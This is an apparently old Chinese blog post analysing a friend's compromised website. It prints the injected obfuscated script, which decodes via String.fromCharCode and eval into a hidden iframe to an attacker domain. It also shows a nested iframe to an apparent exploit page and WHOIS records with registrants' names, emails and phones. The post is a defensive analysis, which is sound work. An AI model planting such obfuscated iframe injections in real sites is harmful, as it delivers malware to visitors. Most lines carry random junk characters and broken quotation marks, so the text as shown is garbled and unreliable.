首发在我的博客里面，
YG*}F|1 Q7UQwAN' http://www.areway.cn/?p=175 (OavgJ+Y Eq=JmO'gHs Bi "cWO 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
hQNUA|Q=% h7 m$P^=U <script>t=’60,105,102,114,97,109,101,
&Wk:>9]Jrb 32,115,114,99,61,104,116,116,112,58,47,47,
kKDf%= 102,114,101,101,46,117,45,117,117,117,46,99,
o4LVG 110,47,101,114,114,111,114,46,104,116,109,
C8 }=fa3u 32,119,105,100,116,104,61,49,48,48,32,104,
vNZ"x)? 101,105,103,104,116,61,48,62,60,47,105,102,
]~ S
zb 114,97,109,101,62′;
nf:wJ-;* t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
2 uF'\y {W%XS E <script>t=’60,105,102,114,97,109,101,32,115,
oL!C(\ERh 114,99,61,104,116,116,112,58,47,47,102,114,
4Yt'I#* 101,101,46,117,45,117,117,117,46,99,110,47,
}?O>.W,/ 101,114,114,111,114,46,104,116,109,32,119,
B2WPbox 105,100,116,104,61,49,48,48,32,104,101,105,
/R6\_oM 103,104,116,61,48,62,60,47,105,102,114,97,
.R@XstQ
109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
} wJH@'0+ document.write(t);</script>
0wF)bQv1 GW 7+# <html xmlns=”
X]\; f http://www.w3.org/1999/xhtml E% Ko[G “>
fj9&J[ <head>
}We-sZ/w7r <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
3-[+g}kak? <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
1&Mpx!K*T <title>首页 - 爱生活家庭网
58`Dcx,yJ %/_E8GE
上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
+vV?[e 转换字符串后的大概内容是（谁点击后果自付）：
0[8uuqV[cB <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
f N9uSnu
TI F =fQ 查询玉米u-uuu.cn的详细信息：
Wi~?2-!
Domain Name: u-uuu.cn
}b{7+ +
Ah ROID: 20070901s10001s64972306-cn
+]~}kvk: Domain Status: ok
hxw6^EA Registrant Organization: 王雷
%xp 69 Registrant Name: 王雷
U0N6\+ Administrative Email:
czlovexs@126.com ;:Tb_4Hr Sponsoring Registrar: 北京万网志成科技有限公司
8\PI1U Name Server:ns.yovole.com
b/E3Kse? Name Server:ns1.yovole.com
*h pS/g/3\ Registration Date: 2007-09-01 17:54
muhu`
k`C Expiration Date: 2008-09-01 17:54
-f?,%6(1 最后PING了一下地址 都没有什么….
1] .m4vC 3S%/>)k 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
TpHzf 3.I <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
p>+Q6o9O <script language=”javascript” src=”
B@' OUcUR http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script [3x*47o "z >
20:![/7:! 这个玉米应该有可能是木马作者的：
<" 0b 8 Z foafau.info的详细信息：
P#rS.CIh Access to INFO WHOIS information is provided to assist persons in
X'xnJtk determining the contents of a domain name registration record in the
Q Vl"l'e8 Afilias registry database. The data in this record is provided by
_! ?a9 Afilias Limited for informational purposes only, and Afilias does not
iWkC: fQz guarantee its accuracy. This service is intended only for query-based
N7)K\)DS!z access. You agree that you will use this data only for lawful purposes
1DH P5q and that, under no circumstances will you use this data to: (a) allow,
o}52Qi o enable, or otherwise support the transmission by e-mail, telephone, or
c68,,rJO]i facsimile of mass unsolicited, commercial advertising or solicitations
i\#?M " to entities other than the data recipient’s own existing customers; or
r =]$>& (b) enable high volume, automated, electronic processes that send
ws$kwSHq queries or data to the systems of Registry Operator, a Registrar, or
8LY^>. Afilias except as reasonably necessary to register domain names or
m; U_oxb modify existing registrations. All rights reserved. Afilias reserves
C[><m2T the right to modify these terms at any time. By submitting this query,
F8\JL % you agree to abide by this policy.
V~$?]Z %_ Domain ID:D22418703-LRMS
UI~ hB4V$] Domain Name:FOAFAU.INFO
0])[\O`j Created On:20-Nov-2007 16:05:42 UTC
8}Q 2!,9Q Last Updated On:20-Nov-2007 16:05:44 UTC
bH% d* Expiration Date:20-Nov-2008 16:05:42 UTC
S2#@j # \ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
ae Eio;G1 Status:CLIENT DELETE PROHIBITED
'<6DLtZl Status:CLIENT RENEW PROHIBITED
[ 88PCA: Status:CLIENT TRANSFER PROHIBITED
EbJc%%c Status:CLIENT UPDATE PROHIBITED
$Xs`'> ," Status:TRANSFER PROHIBITED
B!4~A{ Registrant ID:GODA-040110615
L} K8cB Registrant Name:liu hong
s dN1BV2 Registrant Organization:
AH:0h X6+ Registrant Street1:beijing
,=: -&~? Registrant Street2:
HY (XI u Registrant Street3:
eEY z A Registrant City:beijing
Fnd_\`9{ Registrant State/Province:
4MCj*ok< Registrant Postal Code:100000
0=" wxB Registrant Country:CN
{??bJRT Registrant Phone:+86.860108888777
^3QJv{)Q Registrant Phone Ext.:
N).'> Registrant FAX:
J"XZnb)E= Registrant FAX Ext.:
k/) h @K8@ Registrant Email:bbbshiji@163.com
N_l_^yD Admin ID:GODA-240110615
E=]|v+#~ Admin Name:liu hong
ss`Sl$ Admin Organization:
vb9C&# Admin Street1:beijing
k =O Admin Street2:
'*<I<? z; Admin Street3:
FJn.V1 Admin City:beijing
. d?LRf Admin State/Province:
O0eM*~zI Admin Postal Code:100000
}: !X@C~ Admin Country:CN
drbim8 !q~ Admin Phone:+86.860108888777
e AjsMED Admin Phone Ext.:
| 3 `8$- Admin FAX:
T`GiM%R;g Admin FAX Ext.:
.X:,]of Admin Email:bbbshiji@163.com
mri g5{ Billing ID:GODA-340110615
Mt@Ma ]! Billing Name:liu hong
WYIv&h <h" Billing Organization:
+fQJ#?N2n Billing Street1:beijing
dZ4c!3'F Billing Street2:
Q 87'zf Billing Street3:
$ <3^( y Billing City:beijing
, }NTV ~ Billing State/Province:
- wh Billing Postal Code:100000
Zg|l:^E Billing Country:CN
DHZ`y[&}|N Billing Phone:+86.860108888777
x~](d8*= Billing Phone Ext.:
8d&%H, Billing FAX:
}hcY5E-n Billing FAX Ext.:
o4agaA3k Billing Email:bbbshiji@163.com
` A- Tech ID:GODA-140110615
vhDtjf/* Tech Name:liu hong
M(n@ytz Tech Organization:
MSB /O. Tech Street1:beijing
6MLjU1 Tech Street2:
( k_9<Yb3 Tech Street3:
kM(m$Oo. Tech City:beijing
)4> 7X)j> Tech State/Province:
ARG8 \q U Tech Postal Code:100000
t/ l<X]o Tech Country:CN
P(a}OlG Tech Phone:+86.860108888777
%D~Mij Tech Phone Ext.:
R \]C;@J< Tech FAX:
\9 `.jB~< Tech FAX Ext.:
*Rxn3tR7 Tech Email:bbbshiji@163.com
!'B=']. Name Server:NS27.DOMAINCONTROL.COM
\ u;`Lf Name Server:NS28.DOMAINCONTROL.COM
3 rR 1/\ Name Server:
` $q0fTz Name Server:
IR8yE`(h Name Server:
7y_<BCx
h Name Server:
\ _?d?:#RD Name Server:
T1'\!6_5 Name Server:
,5AEtoF Name Server:
v:n[H]K| Name Server:
+,TrJ g Name Server:
RE1M4UV. Name Server:
PKQ.gPu6*@ Name Server:
"8~PfLJ+ ,H1K sN 接着下载每个文件里面的代码：
z[y 一步一步看..
v8n^~=SH 
amQTPNI 
mA@!t>=oMq 
kI2+& 
ae](= OQ 
/Z[HU{4 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
